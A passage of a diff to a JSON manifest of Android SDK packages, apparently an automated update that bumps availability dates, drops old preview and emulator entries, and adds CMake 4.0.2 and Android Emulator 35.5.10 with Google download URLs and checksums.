         "displayName": "Android SDK Build-Tools 29-rc3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -16675,7 +16629,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/29.0.1",
@@ -16723,7 +16677,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29.0.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/29.0.2",
@@ -16771,7 +16725,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29.0.3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/29.0.3",
@@ -16819,7 +16773,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 30",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/30.0.0",
@@ -16867,7 +16821,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 30.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/30.0.1",
@@ -16915,7 +16869,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 30.0.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/30.0.2",
@@ -16963,7 +16917,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 30.0.3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/30.0.3",
@@ -17004,7 +16958,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 31",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/31.0.0",
@@ -17045,7 +16999,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 32",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/32.0.0",
@@ -17086,7 +17040,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 32.1-rc1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/32.1.0-rc1",
@@ -17128,7 +17082,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 33",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/33.0.0",
@@ -17169,7 +17123,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 33.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/33.0.1",
@@ -17210,7 +17164,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 33.0.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/33.0.2",
@@ -17251,7 +17205,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 33.0.3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/33.0.3",
@@ -17292,7 +17246,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 34",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/34.0.0",
@@ -17333,7 +17287,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 34-rc1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/34.0.0-rc1",
@@ -17375,7 +17329,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 34-rc2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/34.0.0-rc2",
@@ -17417,7 +17371,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 34-rc3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/34.0.0-rc3",
@@ -17434,45 +17388,6 @@
           }
         }
       },
-      "34.0.0-rc4": {
-        "archives": [
-          {
-            "os": "linux",
-            "sha1": "61f7cfa64786bffbf6c6c9a3d74d025a07239928",
-            "size": 61206867,
-            "url": "https://dl.google.com/android/repository/build-tools_r34-rc4-linux.zip"
-          },
-          {
-            "os": "macosx",
-            "sha1": "522431b33cd7fa1407914a8fa66a27bfe1755cbb",
-            "size": 76553187,
-            "url": "https://dl.google.com/android/repository/build-tools_r34-rc4-macosx.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "699f1cb99a8de88b1746ce12302d6c2ddce81186",
-            "size": 58219308,
-            "url": "https://dl.google.com/android/repository/build-tools_r34-rc4-windows.zip"
-          }
-        ],
-        "displayName": "Android SDK Build-Tools 34-rc4",
-        "last-available-day": 19489,
-        "license": "android-sdk-preview-license",
-        "name": "build-tools",
-        "path": "build-tools/34.0.0-rc4",
-        "revision": "34.0.0-rc4",
-        "revision-details": {
-          "major:0": "34",
-          "micro:2": "0",
-          "minor:1": "0",
-          "preview:3": "4"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "35.0.0": {
         "archives": [
           {
@@ -17498,7 +17413,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/35.0.0",
@@ -17539,7 +17454,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35-rc1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/35.0.0-rc1",
@@ -17581,7 +17496,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35-rc2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/35.0.0-rc2",
@@ -17623,7 +17538,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35-rc3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/35.0.0-rc3",
@@ -17665,7 +17580,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35-rc4",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/35.0.0-rc4",
@@ -17707,7 +17622,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 35.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/35.0.1",
@@ -17748,7 +17663,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 36",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/36.0.0",
@@ -17789,7 +17704,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 36-rc1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/36.0.0-rc1",
@@ -17831,7 +17746,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 36-rc3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/36.0.0-rc3",
@@ -17873,7 +17788,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 36-rc4",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/36.0.0-rc4",
@@ -17915,7 +17830,7 @@
           }
         ],
         "displayName": "Android SDK Build-Tools 36-rc5",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "path": "build-tools/36.0.0-rc5",
@@ -17966,7 +17881,7 @@
           }
         ],
         "displayName": "CMake 3.10.2.4988404",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.10.2.4988404",
@@ -18007,7 +17922,7 @@
           }
         ],
         "displayName": "CMake 3.18.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.18.1",
@@ -18048,7 +17963,7 @@
           }
         ],
         "displayName": "CMake 3.22.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.22.1",
@@ -18089,7 +18004,7 @@
           }
         ],
         "displayName": "CMake 3.30.3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.30.3",
@@ -18130,7 +18045,7 @@
           }
         ],
         "displayName": "CMake 3.30.4",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.30.4",
@@ -18171,7 +18086,7 @@
           }
         ],
         "displayName": "CMake 3.30.5",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.30.5",
@@ -18212,7 +18127,7 @@
           }
         ],
         "displayName": "CMake 3.31.0",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.31.0",
@@ -18253,7 +18168,7 @@
           }
         ],
         "displayName": "CMake 3.31.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.31.1",
@@ -18294,7 +18209,7 @@
           }
         ],
         "displayName": "CMake 3.31.4",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.31.4",
@@ -18335,7 +18250,7 @@
           }
         ],
         "displayName": "CMake 3.31.5",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.31.5",
@@ -18376,7 +18291,7 @@
           }
         ],
         "displayName": "CMake 3.31.6",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.31.6",
@@ -18424,7 +18339,7 @@
           }
         ],
         "displayName": "CMake 3.6.4111459",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmake",
         "path": "cmake/3.6.4111459",
@@ -18439,6 +18354,47 @@
             "xsi:type": "ns5:genericDetailsType"
           }
         }
+      },
+      "4.0.2": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "linux",
+            "sha1": "83295132168f6a41d6461746e1e9844583adac00",
+            "size": 30909648,
+            "url": "https://dl.google.com/android/repository/cmake-4.0.2-linux.zip"
+          },
+          {
+            "arch": "all",
+            "os": "macosx",
+            "sha1": "82f5dfe96433d1085f49697f7f985266ebece998",
+            "size": 43157416,
+            "url": "https://dl.google.com/android/repository/cmake-4.0.2-darwin.zip"
+          },
+          {
+            "arch": "all",
+            "os": "windows",
+            "sha1": "337378ae8fb6b7c88b8c439dbe2714cc17a3ab04",
+            "size": 20621162,
+            "url": "https://dl.google.com/android/repository/cmake-4.0.2-windows.zip"
+          }
+        ],
+        "displayName": "CMake 4.0.2",
+        "last-available-day": 20237,
+        "license": "android-sdk-license",
+        "name": "cmake",
+        "path": "cmake/4.0.2",
+        "revision": "4.0.2",
+        "revision-details": {
+          "major:0": "4",
+          "micro:2": "2",
+          "minor:1": "0"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
       }
     },
     "cmdline-tools": {
@@ -18467,7 +18423,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/1.0",
@@ -18507,7 +18463,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/10.0",
@@ -18522,44 +18478,6 @@
           }
         }
       },
-      "10.0-rc04": {
-        "archives": [
-          {
-            "os": "linux",
-            "sha1": "fe41906d2ce82df4cde74fe258e0ccdb283de60a",
-            "size": 138718717,
-            "url": "https://dl.google.com/android/repository/commandlinetools-linux-9645777_latest.zip"
-          },
-          {
-            "os": "macosx",
-            "sha1": "021540982a843ae2c9b4e0a5c2034b29681b4f70",
-            "size": 138718701,
-            "url": "https://dl.google.com/android/repository/commandlinetools-mac-9645777_latest.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "9c3877a2926c1e73af981964b0f4381a6d68fb21",
-            "size": 138694572,
-            "url": "https://dl.google.com/android/repository/commandlinetools-win-9645777_latest.zip"
-          }
-        ],
-        "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 19489,
-        "license": "android-sdk-preview-license",
-        "name": "cmdline-tools",
-        "path": "cmdline-tools/10.0-beta04",
-        "revision": "10.0-rc04",
-        "revision-details": {
-          "major:0": "10",
-          "minor:1": "0",
-          "preview:2": "04"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "11.0": {
         "archives": [
           {
@@ -18585,7 +18503,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/11.0",
@@ -18638,44 +18556,6 @@
           }
         }
       },
-      "11.0-rc07": {
-        "archives": [
-          {
-            "os": "linux",
-            "sha1": "c43e4fb8567c4625e8daf4cee0a5490f826a5442",
-            "size": 147822296,
-            "url": "https://dl.google.com/android/repository/commandlinetools-linux-9644228_latest.zip"
-          },
-          {
-            "os": "macosx",
-            "sha1": "2c97234849128cb75b0691cf652ab098707c610c",
-            "size": 147822280,
-            "url": "https://dl.google.com/android/repository/commandlinetools-mac-9644228_latest.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "2bfc8fad022acce100a5b0583def1ca5bc56eff1",
-            "size": 147798151,
-            "url": "https://dl.google.com/android/repository/commandlinetools-win-9644228_latest.zip"
-          }
-        ],
-        "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 19489,
-        "license": "android-sdk-preview-license",
-        "name": "cmdline-tools",
-        "path": "cmdline-tools/11.0-alpha07",
-        "revision": "11.0-rc07",
-        "revision-details": {
-          "major:0": "11",
-          "minor:1": "0",
-          "preview:2": "07"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "12.0": {
         "archives": [
           {
@@ -18701,7 +18581,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/12.0",
@@ -18779,7 +18659,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/13.0",
@@ -18819,7 +18699,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/13.0-rc01",
@@ -18860,7 +18740,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/14.0-alpha01",
@@ -18901,7 +18781,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/16.0",
@@ -18941,7 +18821,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/16.0-alpha01",
@@ -18982,7 +18862,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/17.0",
@@ -19022,7 +18902,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/19.0",
@@ -19062,7 +18942,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/19.0-alpha01",
@@ -19103,7 +18983,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "obsolete": "true",
@@ -19144,7 +19024,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/2.1",
@@ -19184,7 +19064,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/3.0",
@@ -19224,7 +19104,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/4.0",
@@ -19264,7 +19144,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/5.0",
@@ -19304,7 +19184,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/6.0",
@@ -19344,7 +19224,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/7.0",
@@ -19384,7 +19264,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/8.0",
@@ -19424,7 +19304,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/9.0",
@@ -19441,96 +19321,6 @@
       }
     },
     "emulator": {
-      "31.3.10": {
-        "archives": [
-          {
-            "os": "macosx",
-            "sha1": "4a35a2702f9138653cd1b67d04e01ffa65fb37bc",
-            "size": 347308456,
-            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-8807927.zip"
-          },
-          {
-            "os": "linux",
-            "sha1": "43df6ed553b89e1553d588251526aae8f79da214",
-            "size": 293822881,
-            "url": "https://dl.google.com/android/repository/emulator-linux_x64-8807927.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "52f8bfa4a09074e607d393302fe8a627846a18e9",
-            "size": 380246403,
-            "url": "https://dl.google.com/android/repository/emulator-windows_x64-8807927.zip"
-          }
-        ],
-        "dependencies": {
-          "dependency:0": {
-            "element-attributes": {
-              "path": "patcher;v4"
-            }
-          }
-        },
-        "displayName": "Android Emulator",
-        "last-available-day": 19469,
-        "license": "android-sdk-license",
-        "name": "emulator",
-        "path": "emulator",
-        "revision": "31.3.10",
-        "revision-details": {
-          "major:0": "31",
-          "micro:2": "10",
-          "minor:1": "3"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
-      "31.3.14": {
-        "archives": [
-          {
-            "os": "linux",
-            "sha1": "b5ab96ebffc6ea6816a5b0e9474859463b21ab78",
-            "size": 293826836,
-            "url": "https://dl.google.com/android/repository/emulator-linux_x64-9322596.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "632eba430f67abeddcf15ceb0a872b25fdbb7e62",
-            "size": 381130167,
-            "url": "https://dl.google.com/android/repository/emulator-windows_x64-9322596.zip"
-          },
-          {
-            "os": "macosx",
-            "sha1": "00e8685beffbe19f803cd5d698fbe6406b5ee6f3",
-            "size": 347313356,
-            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-9322596.zip"
-          }
-        ],
-        "dependencies": {
-          "dependency:0": {
-            "element-attributes": {
-              "path": "patcher;v4"
-            }
-          }
-        },
-        "displayName": "Android Emulator",
-        "last-available-day": 19469,
-        "license": "android-sdk-license",
-        "name": "emulator",
-        "path": "emulator",
-        "revision": "31.3.14",
-        "revision-details": {
-          "major:0": "31",
-          "micro:2": "14",
-          "minor:1": "3"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "32.1.10": {
         "archives": [
           {
@@ -19576,51 +19366,6 @@
           }
         }
       },
-      "32.1.12": {
-        "archives": [
-          {
-            "os": "linux",
-            "sha1": "556fb884d6e72b597bf5c1fa959f59744994fb68",
-            "size": 270165820,
-            "url": "https://dl.google.com/android/repository/emulator-linux_x64-9751036.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "0ee17dd9b4410d38dc2f6a6227e899d6910b2c55",
-            "size": 332999329,
-            "url": "https://dl.google.com/android/repository/emulator-windows_x64-9751036.zip"
-          },
-          {
-            "os": "macosx",
-            "sha1": "d37d6e301f36d8f0797ca96a3fd6b8ee5f8d46ae",
-            "size": 307219070,
-            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-9751036.zip"
-          }
-        ],
-        "dependencies": {
-          "dependency:0": {
-            "element-attributes": {
-              "path": "patcher;v4"
-            }
-          }
-        },
-        "displayName": "Android Emulator",
-        "last-available-day": 19489,
-        "license": "android-sdk-license",
-        "name": "emulator",
-        "path": "emulator",
-        "revision": "32.1.12",
-        "revision-details": {
-          "major:0": "32",
-          "micro:2": "12",
-          "minor:1": "1"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "32.1.14": {
         "archives": [
           {
@@ -19704,96 +19449,6 @@
           }
         }
       },
-      "32.1.8": {
-        "archives": [
-          {
-            "os": "macosx",
-            "sha1": "13cadd038b401fdfa04e4af153a7f696ccd422cc",
-            "size": 309314692,
-            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-9310560.zip"
-          },
-          {
-            "os": "linux",
-            "sha1": "7d82689a73aacdd56684d7134dc88cc3537fb911",
-            "size": 270158359,
-            "url": "https://dl.google.com/android/repository/emulator-linux_x64-9310560.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "8324aeb3bd74a214978252c51574b40cdb56b4ba",
-            "size": 333001267,
-            "url": "https://dl.google.com/android/repository/emulator-windows_x64-9310560.zip"
-          }
-        ],
-        "dependencies": {
-          "dependency:0": {
-            "element-attributes": {
-              "path": "patcher;v4"
-            }
-          }
-        },
-        "displayName": "Android Emulator",
-        "last-available-day": 19469,
-        "license": "android-sdk-preview-license",
-        "name": "emulator",
-        "path": "emulator",
-        "revision": "32.1.8",
-        "revision-details": {
-          "major:0": "32",
-          "micro:2": "8",
-          "minor:1": "1"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
-      "33.1.10": {
-        "archives": [
-          {
-            "os": "macosx",
-            "sha1": "f38b9ec7e9c9ff3b8c4022e7f9baa1d6622634a0",
-            "size": 325272345,
-            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-10078095.zip"
-          },
-          {
-            "os": "linux",
-            "sha1": "e97f77ce116ff8fb13bd8f89a2097cc4ab1dbc67",
-            "size": 180494623,
-            "url": "https://dl.google.com/android/repository/emulator-linux_x64-10078095.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "8738b20ee568c4e6a84b66b1fa848517db646c47",
-            "size": 354011689,
-            "url": "https://dl.google.com/android/repository/emulator-windows_x64-10078095.zip"
-          }
-        ],
-        "dependencies": {
-          "dependency:0": {
-            "element-attributes": {
-              "path": "patcher;v4"
-            }
-          }
-        },
-        "displayName": "Android Emulator",
-        "last-available-day": 19489,
-        "license": "android-sdk-preview-license",
-        "name": "emulator",
-        "path": "emulator",
-        "revision": "33.1.10",
-        "revision-details": {
-          "major:0": "33",
-          "micro:2": "10",
-          "minor:1": "1"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "33.1.17": {
         "archives": [
           {
@@ -19877,96 +19532,6 @@
           }
         }
       },
-      "33.1.4": {
-        "archives": [
-          {
-            "os": "macosx",
-            "sha1": "33be82356a352b79b742154f7c71f6f13455f27b",
-            "size": 345831055,
-            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-9936625.zip"
-          },
-          {
-            "os": "linux",
-            "sha1": "cfa28a326b6328e2f3a068ac3030a075471d9df0",
-            "size": 260288819,
-            "url": "https://dl.google.com/android/repository/emulator-linux_x64-9936625.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "0aab97a7b84853c8f8c7618191dc23416e2a7a4b",
-            "size": 373623936,
-            "url": "https://dl.google.com/android/repository/emulator-windows_x64-9936625.zip"
-          }
-        ],
-        "dependencies": {
-          "dependency:0": {
-            "element-attributes": {
-              "path": "patcher;v4"
-            }
-          }
-        },
-        "displayName": "Android Emulator",
-        "last-available-day": 19469,
-        "license": "android-sdk-preview-license",
-        "name": "emulator",
-        "path": "emulator",
-        "revision": "33.1.4",
-        "revision-details": {
-          "major:0": "33",
-          "micro:2": "4",
-          "minor:1": "1"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
-      "33.1.6": {
-        "archives": [
-          {
-            "os": "macosx",
-            "sha1": "a31338f160fc5fa7973946d34a0d0ce1a2c0759a",
-            "size": 332134756,
-            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-10047184.zip"
-          },
-          {
-            "os": "linux",
-            "sha1": "9f5c71277f52837d4fb43f72c80103bdf81c0569",
-            "size": 254562719,
-            "url": "https://dl.google.com/android/repository/emulator-linux_x64-10047184.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "11ba13425c6fcd275f5e1aa95923f736dd2bcb64",
-            "size": 361497029,
-            "url": "https://dl.google.com/android/repository/emulator-windows_x64-10047184.zip"
-          }
-        ],
-        "dependencies": {
-          "dependency:0": {
-            "element-attributes": {
-              "path": "patcher;v4"
-            }
-          }
-        },
-        "displayName": "Android Emulator",
-        "last-available-day": 19489,
-        "license": "android-sdk-preview-license",
-        "name": "emulator",
-        "path": "emulator",
-        "revision": "33.1.6",
-        "revision-details": {
-          "major:0": "33",
-          "micro:2": "6",
-          "minor:1": "1"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "34.1.19": {
         "archives": [
           {
@@ -20501,6 +20066,54 @@
           }
         }
       },
+      "35.5.10": {
+        "archives": [
+          {
+            "arch": "x64",
+            "os": "linux",
+            "sha1": "0f7336a0477654cfbe5593f1888d9c2b1bdf30e0",
+            "size": 301181039,
+            "url": "https://dl.google.com/android/repository/emulator-linux_x64-13402964.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "macosx",
+            "sha1": "5339e2be893ee74e352b3dde3d0700deda380a7d",
+            "size": 394068912,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-13402964.zip"
+          },
+          {
+            "arch": "aarch64",
+            "os": "macosx",
+            "sha1": "4b607dfa4797de2356bf54f4c6caaef3b8bf187d",
+            "size": 312167479,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_aarch64-13402964.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "windows",
+            "sha1": "5523c285900e345adad65b1bd50daba101d692d0",
+            "size": 423391334,
+            "url": "https://dl.google.com/android/repository/emulator-windows_x64-13402964.zip"
+          }
+        ],
+        "displayName": "Android Emulator",
+        "last-available-day": 20237,
+        "license": "android-sdk-license",
+        "name": "emulator",
+        "path": "emulator",
+        "revision": "35.5.10",
+        "revision-details": {
+          "major:0": "35",
+          "micro:2": "10",
+          "minor:1": "5"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
+      },
       "35.5.2": {
         "archives": [
           {
@@ -20692,6 +20305,102 @@
